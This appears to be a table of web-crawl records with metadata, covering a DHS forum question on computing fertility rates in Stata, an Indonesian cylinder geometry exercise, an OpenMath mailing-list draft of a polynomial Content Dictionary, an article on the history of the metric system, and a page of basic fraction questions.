you can read more at What’s the difference between “mod” and “remainder”? | 209 | 637 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.234375 | 3 | CC-MAIN-2023-14 | latest | en | 0.884175 |
https://userforum.dhsprogram.com/index.php?t=tree&th=6106 | 1,591,120,593,000,000,000 | text/html | crawl-data/CC-MAIN-2020-24/segments/1590347425481.58/warc/CC-MAIN-20200602162157-20200602192157-00573.warc.gz | 578,358,060 | 6,433 | The DHS Program User Forum
Discussions regarding The DHS Program data and results
Home » Topics » Fertility » Variable for Age-Specific Fertility Rate
Variable for Age-Specific Fertility Rate Thu, 18 May 2017 13:41
pndagu263 Messages: 11Registered: November 2016 Location: South Africa Member
Dear Statalisters
I want to analyse potential sources of the differences in total fertility rates (TFRs) between two DHS surveys for Zimbabwe, 2005 and 2010. I aim to apply the decomposition method by Oaxaca-Blinder to identify contributions to fertility change.
I had initially planned to conduct the decomposition using the mvdcmp programme by Powers et al. (2011) using as my outcome variable children ever born (v201). The problem with v201 however, is that it is not age standardised and therefore not an optimal indicator for total fertility rate. In fact, average children ever born is higher in the Zimbabwe DHS2005-06 compared to ZDHS2010-11 whereas the ASFR and TFR estimates are higher in 2010-11 compared to 2005-06 survey. My intention now is to use age-specific fertility rate (ASFR) as a proxy for TFR as my dependent variable given that it is age standardised.
My question then is that how can I generate in STATA a variable for ASFR for single-year age groups (v012) in DHS. I tried the following;
For exposure [person-years];
gen top = v008 - 1
gen bot = v008 - 36
gen turn15 = v011 + 180
replace bot = turn15 if turn15 > bot
drop if bot>top
gen agebot = int( ((bot+top)/2 - v011)/12)
gen expo= top - bot + 1
Then for events [since I'm not well versed with looping];
gen birth1=0
replace birth1=1 if b3_01!=.
gen birth2=0
replace birth2=1 if b3_02!=.
gen birth3=0
replace birth3=1 if b3_03!=. I did this upto birth20 then generated variable for births by summing birth1 to birth20. However, deriving an ASFR indicator from here is not working out well.
I am aware of tfr2 which computes single-year age-group ASFRs through the tabexp command. My problem is that I want to generate a variable in the dataset which assigns by age (v012) an estimate of the ASFR that I will be able to use as an outcome variable in decomposition analysis.
Best regards,
Pedzisai Ndagurwa
[Updated on: Thu, 18 May 2017 13:44]
Report message to a moderator
Variable for Age-Specific Fertility Rate By: pndagu263 on Thu, 18 May 2017 13:41 Re: Variable for Age-Specific Fertility Rate By: kbietsch on Wed, 20 September 2017 13:57 Re: Variable for Age-Specific Fertility Rate By: pndagu263 on Wed, 20 September 2017 14:15 Re: Variable for Age-Specific Fertility Rate By: Jayanta on Thu, 12 March 2020 13:43 Re: Variable for Age-Specific Fertility Rate By: schoumaker on Fri, 13 March 2020 04:17 Re: Variable for Age-Specific Fertility Rate By: Jayanta on Sat, 21 March 2020 12:43
Previous Topic: ASFRs from DHS and MIS combined Next Topic: reverse order of birth
Goto Forum:
Current Time: Tue Jun 2 13:56:27 Eastern Daylight Time 2020 | 806 | 2,938 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.625 | 3 | CC-MAIN-2020-24 | latest | en | 0.897366 |
https://www.slideserve.com/gordon/soal-matematika-tabung | 1,534,781,938,000,000,000 | text/html | crawl-data/CC-MAIN-2018-34/segments/1534221216718.53/warc/CC-MAIN-20180820160510-20180820180510-00683.warc.gz | 963,172,684 | 14,385 | Soal Matematika Tabung
1 / 10
# Soal Matematika Tabung - PowerPoint PPT Presentation
Nama kelompok : * Untung . P * Choyin. Soal Matematika “ Tabung ”. 1. Sebuah tabung berisi 770 cm ³ zat cair , panjang jari-jari alas tabung 7 cm. Hitung ! A. Tinggi zat cair ? B. Luas permukaan tabung ?. Jawaban :.
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
## PowerPoint Slideshow about 'Soal Matematika Tabung ' - gordon
Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.
- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
1. Sebuahtabungberisi 770 cm³ zatcair, panjangjari-jari alas tabung 7 cm. Hitung ! A. Tinggizatcair ? B. Luaspermukaantabung ?
### Jawaban :
Diketahui : b. L. Permukaannya :
V = 770 cm³ » 2 π r (r+t)
r = 7 cm » 2 . 3,14 . 7 . 12
Ditanya : t = . . . ? » 2 . 264
» 528 cm²
V = π r² t Jadi, luaspermukaantabungtersebut
770 = 3,14 x 7x 7 x t ialah 528 cm².
770 = 3,14 x 49 x t
t = 770 : 154
t = 5 cm | 479 | 1,373 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.6875 | 4 | CC-MAIN-2018-34 | latest | en | 0.345644 |
https://mailman.openmath.org/pipermail/om/2003-August/000651.html | 1,716,385,300,000,000,000 | text/html | crawl-data/CC-MAIN-2024-22/segments/1715971058557.6/warc/CC-MAIN-20240522132433-20240522162433-00546.warc.gz | 316,033,054 | 3,497 | [om] Univariate Polynomials
Arjeh Cohen amc at win.tue.nl
Tue Aug 12 02:58:11 CEST 2003
```Dear all + Dorina Jibetean,
Dorina Jibetean (and to some extent I) have been working on the polyonomial CDs as well.
We have separated out the Groebner part from polyd (to the best of my recollection)---the reason being that
you can use Groebner notions for other kinds of polynomials as well.
By means of the email I mean to ask Dorina and otehrs to coordinate before submitting...
Greetings, Arjeh M. Cohen
On Sat, Aug 09, 2003 at 05:56:44PM +0100, Professor James Davenport wrote:
> I attach a CD and STS for this, prompted by discussions with John Abbott
> and Hans Schonemann at ISSAC 2003. I would be grateful if these two would
> review it, and if David C. could mount it as an extra.
> James
> <CD>
> <CDName> polyu </CDName>
> <CDURL> http://www.openmath.org/cd/polyu.ocd </CDURL>
> <CDReviewDate> 2003-04-01 </CDReviewDate>
> <CDDate> 2003-08-06 </CDDate>
> <CDStatus> experimental </CDStatus>
> <CDVersion> 1 </CDVersion>
> <CDRevision> 0 </CDRevision>
> <CDUses>
> <CDName>setname1</CDName>
> </CDUses>
> <Description>
> This CD contains operators to deal with polynomials and more precisely
> Univariate Polynomials.
> Note that recursive polynomials are regarded as univariates in their most
> significant variable (as defined by the order in PolynomialRingR:
> the first variable to appear is the most significant),
> with monomials in decreasing order of exponent, and coefficients
> being polynomials in the rest of the variables, and therefore univariates
> are a special case. This is provided as a separate CD to allow for
> univariate-only operations (e.g. composition) and for systems that only
> understand univariates, e.g. NTL.
> </Description>
>
> <CDComment>
> Based on recursive polynomials 2003-08-06 JHD
> </CDComment>
>
> <CDComment>
> Definition of data-structure constructors
> </CDComment>
>
> <CDComment>
> The polynomial x^6 + 3*x^5 +2 can be conceptually encoded as
> poly_u_rep(x,
> term(6,1),
> term(5,3),
> term(0,2))
> It lies in polynomial_ring_u(Z,x)
> </CDComment>
>
> <CDDefinition>
> <Name> term </Name>
> <Description>
> A constructor for monomials, that is products of powers and
> elements of the base ring.
> First argument is from N (the exponent of the variable
> implied by an outer poly_u_rep)
> second argument is a coefficient (from the ground field)
> </Description>
> </CDDefinition>
>
> <CDDefinition>
> <Name> poly_u_rep </Name>
> <Description>
> A constructor for the representation of polynomials.
> The first argument is the polynomial variable, the rest are
> monomials (in decreasing order of exponent).
> </Description>
> <Example>
>
> The polynomial x^6 + 3*x^5 + 2 may be encoded as:
>
> <OMOBJ>
> <OMA>
> <OMS name="poly_u_rep" cd="polyu"/>
> <OMV name="x"/>
> <OMA>
> <OMS name="term" cd="polyu"/>
> <OMI> 6 </OMI>
> <OMI> 1 </OMI>
> </OMA>
> <OMA>
> <OMS name="term" cd="polyu"/>
> <OMI> 5 </OMI>
> <OMI> 3 </OMI>
> </OMA>
> <OMA>
> <OMS name="term" cd="polyu"/>
> <OMI> 0 </OMI>
> <OMI> 2 </OMI>
> </OMA>
> </OMA>
> </OMOBJ>
> </Example>
> </CDDefinition>
>
> <CDDefinition>
> <Name> polynomial_u </Name>
> <Description>
> The constructor of Recursive Polynomials. The first argument
> is the polynomial ring containing the polynomial and the second
> is a "poly_u_rep".
> </Description>
>
> <Example>
> The polynomial x^6 + 3*x^5 + 2 in the
> polynomial ring with the integers as the coefficient ring and
> variable x may be encoded as:
>
> <OMOBJ>
> <OMA>
> <OMS name="polynomial_u" cd="polyu"/>
> <OMA>
> <OMS name="polynomial_ring_u" cd="polyu"/>
> <OMS name="Z" cd="setname1"/>
> <OMV name="x"/>
> </OMA>
> <OMA>
> <OMS name="poly_u_rep" cd="polyu"/>
> <OMV name="x"/>
> <OMA>
> <OMS name="term" cd="polyu"/>
> <OMI> 6 </OMI>
> <OMI> 1 </OMI>
> </OMA>
> <OMA>
> <OMS name="term" cd="polyu"/>
> <OMI> 5 </OMI>
> <OMI> 3 </OMI>
> </OMA>
> <OMA>
> <OMS name="term" cd="polyu"/>
> <OMI> 0 </OMI>
> <OMI> 2 </OMI>
> </OMA>
> </OMA>
> </OMA>
> </OMOBJ>
> </Example>
> </CDDefinition>
>
> <CDComment>
> Polynomial ring constructor
> </CDComment>
>
>
> <CDDefinition>
> <Name> polynomial_ring_u </Name>
> <Description>
> The constructor of a univariate polynomial ring. The first argument
> is a ring (the ring of the coefficients), the second is the variable.
> </Description>
> <CMP>
> Univariates are just recursive polynomials in one variable (though
> constructed using isomorphic, but different, constructors).
> </CMP>
> <FMP>
> <OMOBJ>
> <OMA>
> <OMS name="eq" cd="relation1"/>
> <OMA>
> <OMS name="polynomial_ring_u" cd="polyr"/>
> <OMV name="R"/>
> <OMV name="x"/>
> </OMA>
> <OMA>
> <OMS name="polynomial_ring_r" cd="polyr"/>
> <OMV name="R"/>
> <OMV name="x"/>
> </OMA>
> </OMA>
> </OMOBJ>
> </FMP>
> <Example>
> <OMOBJ>
> <OMA>
> <OMS name="polynomial_ring_u" cd="polyr"/>
> <OMS name="Z" cd="setname1"/>
> <OMV name="x"/>
> </OMA>
> </OMOBJ>
> </Example>
> </CDDefinition>
>
> </CD>
> <CDSignatures type="sts" cd="polyu">
>
> <CDSComment>
> Date: 2003-08-06
> Author: James Davenport
> </CDSComment>
>
> <Signature name="term" >
> <OMOBJ>
> <OMA>
> <OMS name="mapsto" cd="sts"/>
> <OMS name="N" cd="setname1"/>
> <OMV name="Ring"/>
> <OMV name="MonomialU"/>
> </OMA>
> </OMOBJ>
> </Signature>
>
> <Signature name="PolyUrep" >
> <OMOBJ>
> <OMA>
> <OMS name="mapsto" cd="sts" />
> <OMV name="PolynomialVariable" />
> <OMA>
> <OMS name="nary" cd="sts"/>
> <OMV name="MonomialU"/>
> </OMA>
> <OMV name="poly_u_rep" />
> </OMA>
> </OMOBJ>
> </Signature>
>
> <Signature name="polynomial_u" >
> <OMOBJ>
> <OMA>
> <OMS name="mapsto" cd="sts" />
> <OMA>
> <OMS name="structure" cd="sts" />
> <OMV name="Ring"/>
> </OMA>
> <OMV name="poly_u_rep"/>
> <OMS name="polynomial_ring" cd="polysts" />
> </OMA>
> </OMOBJ>
> </Signature>
>
> <Signature name="polynomial_ring_u" >
> <OMOBJ>
> <OMA>
> <OMS name="mapsto" cd="sts" />
> <OMA>
> <OMS name="structure" cd="sts"/>
> <OMV name="Ring"/>
> </OMA>
> <OMV name="PolynomialVariable"/>
> <OMA>
> <OMS name="structure" cd="sts"/>
> <OMS name="PolynomialRing" cd="polysts"/>
> </OMA>
> </OMA>
> </OMOBJ>
> </Signature>
>
> </CDSignatures>
--
om at openmath.org - general discussion on OpenMath
Post public announcements to om-announce at openmath.org
Automatic list maintenance software at majordomo at openmath.org
Mail om-owner at openmath.org for assistance with any problems
```
More information about the Om mailing list | 2,362 | 8,023 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.59375 | 3 | CC-MAIN-2024-22 | latest | en | 0.845204 |
https://de.zxc.wiki/wiki/Metrisches_Einheitensystem | 1,725,801,185,000,000,000 | text/html | crawl-data/CC-MAIN-2024-38/segments/1725700651002.87/warc/CC-MAIN-20240908115103-20240908145103-00592.warc.gz | 181,057,906 | 10,760 | # Metric system of units
Countries according to the current status of the introduction of the metric system:
• Completed
• Nearly finished
• Partly completed
• Introduced, but not mandatory
• A metric system of units , or metric system for short , is a system of units with the meter as the base unit for the length of a distance. In contrast to many other systems of units with cumbersome large or small information, all values in the metric system of units are specified strictly as decimal multiples or decimal fractions. A system of prefixes for units of measurement is used for this purpose .
Important examples of metric systems of units are the International System of Units (SI) , the CGS and the MKS system . The first metric system of units was introduced in France in 1793 during the French Revolution and is now used in all countries. Only the USA , Myanmar and Liberia have not yet made it mandatory ; in other countries such as the United Kingdom , Canada or the Philippines it is still in competition with older systems of measurement.
Thus the currently most important and almost worldwide valid international system of units is based on the MKSA system , which is an extension of the MKS system by the ampere .
## need
The international standardization of the system of units prevents misunderstandings when dealing with sizes and units and makes size values directly and precisely comparable. This is important for science and technology as well as for industry and trade.
A uniform and self-contained, i.e. consistent system of units is of great use for both international and domestic scientific and economic exchange, for example to avoid error-prone conversions and misunderstandings due to ambiguous information. In the area of what would later become the German Empire, around 300 different surface dimensions existed until 1870. Units with the same name were or are different. For example, German horsepower (PS) is not the same as British horsepower (HP), and for centuries there have been different definitions for a mile in the various areas of application and regions. Various scales were used to measure the temperature.
The Stuttgarter Zeitung already pointed out the advantages of a uniform system of measurement in 1871 in relation to changes in the law at that time. According to the article, the metric system of measures and weights is “a self-contained, naturally articulated whole. The meter is the trunk from which all length, area, body, hollow and weight dimensions develop in beautiful symmetry like branches and twigs, and it itself is rooted in the proportions of the earth. "
## history
Image of the second “standard kilogram” that has been held at the National Institute of Standards and Technology in the USA since 1884
See also: History of Weights and Measures, Section: The Metric System
In China and parts of India there were decimal systems already in ancient times . Proposals to create a purely decimal system of measurement had existed in modern Europe since around the end of the 16th century. But until the end of the 18th century, preference was given to the old systems of measurement, which were based on highly composite numbers . But these were neither international nor value systems . However, modern economics and administration made both appear desirable for increasing efficiency. That is why the decimal metric system was introduced in revolutionary France under the bourgeois reign of terror on August 1, 1793 in the National Convention .
In the 19th century z. B. in the Rhine Confederation only made preparations for the introduction of the French decimal system, for example by decimalizing the respective local or introducing a round, z. B. 30 cm feet. Only towards the end of the 19th century did the decimal metric system gradually gain acceptance internationally. The Meter Convention was signed in Paris on May 20, 1875 , a diplomatic treaty between the 17 leading industrial nations, which agreed on uniform standards for the most important sizes. Without this measure, the further development of the industrialized world might have been impossible, because nationally different units would have made international trade and scientific and technical exchange extremely difficult. The meter convention is still valid and is the basis of the International System of Units (SI). The international organization “ Bureau International des Poids et Mesures ” (BIPM) was commissioned to maintain the standards laid down in the Meter Convention .
In 1874, the coherent CGS system with three base units, derived units and the prefixes “micro” to “mega” was established in Great Britain . Since the previous units had proven to be too complicated, additional “practical units” were introduced in 1880 for the fields of electricity and magnetism, including ohms , volts and amps .
At the first “ Conference Générale des Poids et Mesures ” (CGPM) in 1889, meters, kilograms and seconds were defined as the international base units ( MKS system ). The new prototypes for the meter and the kilogram have been approved and distributed to the member states. The so-called international meter prototype replaced the original meter from 1799 and remained valid until May 19, 2019. Both are kept in a safe of the BIPM in Sèvres near Paris.
The International Electrical Congress in Chicago in 1893 introduced units for voltage and resistance called "international". The International Conference in London in 1908 confirmed the "international" units of volt and ohm.
In 1946 the ampere was finally added as a further base unit ( MKSA system ), and in 1954 Kelvin and Candela followed . In 1971 the mole was decided as the last basic unit for the time being .
The meter has been defined by a wavelength of light since 1960 and the second since 1967 by the frequency of an atomic transition. In the 1980s, the speed of light could be measured more precisely than the meter according to the definition at the time. Therefore, in 1983 the speed of light was fixed at a fixed value and the meter was redefined using the speed of light and the second.
In 2019 there was a fundamental redefinition of the units kilogram, kelvin, ampere, candela and mole. Four other natural constants were given fixed values.
## Spread of the metric system
Introduction of the metric system by the year
The introduction of the metric system began in France . The meter was legally introduced in Paris in 1799. The introduction was temporarily reversed. However, the radical changeover of the times and the calendar to a decimal system did not take hold (among other things, a week should consist of ten days).
In the 19th century the metric system was introduced in most European countries: in parts of Germany during the French occupation before 1815 (for example the Palatinate, where it remained after the defeat of Napoleon), in the Netherlands , Belgium and Luxembourg in 1820, in Spain in the 1850s, in Italy in 1861, in Germany in 1872 (law of August 17, 1868 for the North German Confederation, April 29, 1869 for the southern German states), in Austria in 1876 (binding, law published in 1871), in Switzerland in 1877 (legalized 1868, made binding by federal law of 1875; cantonally, however, in part already introduced during Napoleonic times) and finally in Denmark in 1907 . The United Kingdom is the last European country to be converted; in Ireland it was completed on January 20, 2005 with the conversion of road signs (km instead of miles). In the English-speaking world, the introduction is referred to as “metrication” or “metrification”.
Today the metric system is used in almost all countries. Only the USA as well as Myanmar and Liberia have not yet made it mandatory, although it is used in practice by the latter two. Myanmar decided to switch to the metric system in 2013. In the United States, metric units have been recognized units since a parliamentary decision in 1866 and a government decree in 1894. On December 23, 1975, the US Congress-approved Metric Conversion Act was signed by President Gerald Ford in the United States , but the traditional system is largely maintained.
Resistance to the introduction, mostly for traditional or aesthetic reasons, has existed or is particularly evident in the USA, the United Kingdom, Canada (except Québec ) and Japan . Relics of ancient systems can be found in many countries, e.g. Sometimes in the form of redefined (“metrified”) units (e.g. pounds at 500 g) and partly due to the influence of the US economy ( inches , e.g. for screen size specifications). This procedure is widespread, but it contradicts the legal situation. Therefore, US federal agencies typically require the use of the metric system when awarding contracts (e.g. when submitting technical documents for tenders).
## Individual evidence
1. Hans-Dieter Junge: Measurement, measurand, unit of measure . Bibliogr. Inst., Leipzig 1981
2. anno.onb.ac.at/Salzburger Zeitung July 5, 1871
3. bayern-blogger.de
4. ^ Anne-Marie Dubler: Metric system. In: Historical Lexicon of Switzerland .
5. Metrication in the English language Wikipedia - on "Metrization"
6. elevenmyanmar.com (Engl.)
7. a b Andrea Böhm : One against 290 million. In: NZZ Folio . 02/05.
8. ^ Appendix G. Central Intelligence Agency , The World Factbook . | 1,982 | 9,330 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.71875 | 3 | CC-MAIN-2024-38 | latest | en | 0.940037 |
https://math.answers.com/Q/Is_5_ml_equal_to_one_fourth_one_half_three_fourths | 1,718,838,964,000,000,000 | text/html | crawl-data/CC-MAIN-2024-26/segments/1718198861853.72/warc/CC-MAIN-20240619220908-20240620010908-00748.warc.gz | 345,596,363 | 47,499 | 0
# Is 5 ml equal to one fourth one half three fourths?
Updated: 9/19/2023
Wiki User
13y ago
Yes.
One fourth of 20 mL
One half of 10 mL
and three fourths of 6.66... mL.
Wiki User
13y ago
Earn +20 pts
Q: Is 5 ml equal to one fourth one half three fourths?
Submit
Still have questions?
Related questions
### Does one fourth equal one half?
No, two one-fourths (two-fourths) equal one half.
Five tenths
### Is half acre less than three fourths acre?
yes. it is one Fourth smaller. one half acre is equal to two fourths of an acre.
### Is three fourths equal to one half plus one fourth?
Yes.1/2 + 1/4 = 2/4 + 1/4 = 3/4.(In other words, a half is equal to 2 fourths. 2 fourths plus 1 fourth equals 3 fourths.)
### How do you add one fourth plus one half?
One half is two fourths, add one fourth makes three fourths I call that three quarters.
### What is two and a half plus three fourths?
three and one fourth
### What is three fourths times three and how?
Three fourths times two is one and a half so if you add three fourths to that you will get two and one fourth.
### If you Add one half to one fourth what does it equal?
Adding one half to one fourth will give you three fourths. To find the answers to questions like these, create a common denominator and add the two together. For example, change one half to two fourths (still the same fraction, just multiply top and bottom by 2) and add one fourths to get the answer of three fourths.
One half.
Three fourths
### What is one half times three fourths equal?
Three eighths. Simple multiplication.
one half | 425 | 1,591 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 4.15625 | 4 | CC-MAIN-2024-26 | latest | en | 0.944041 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.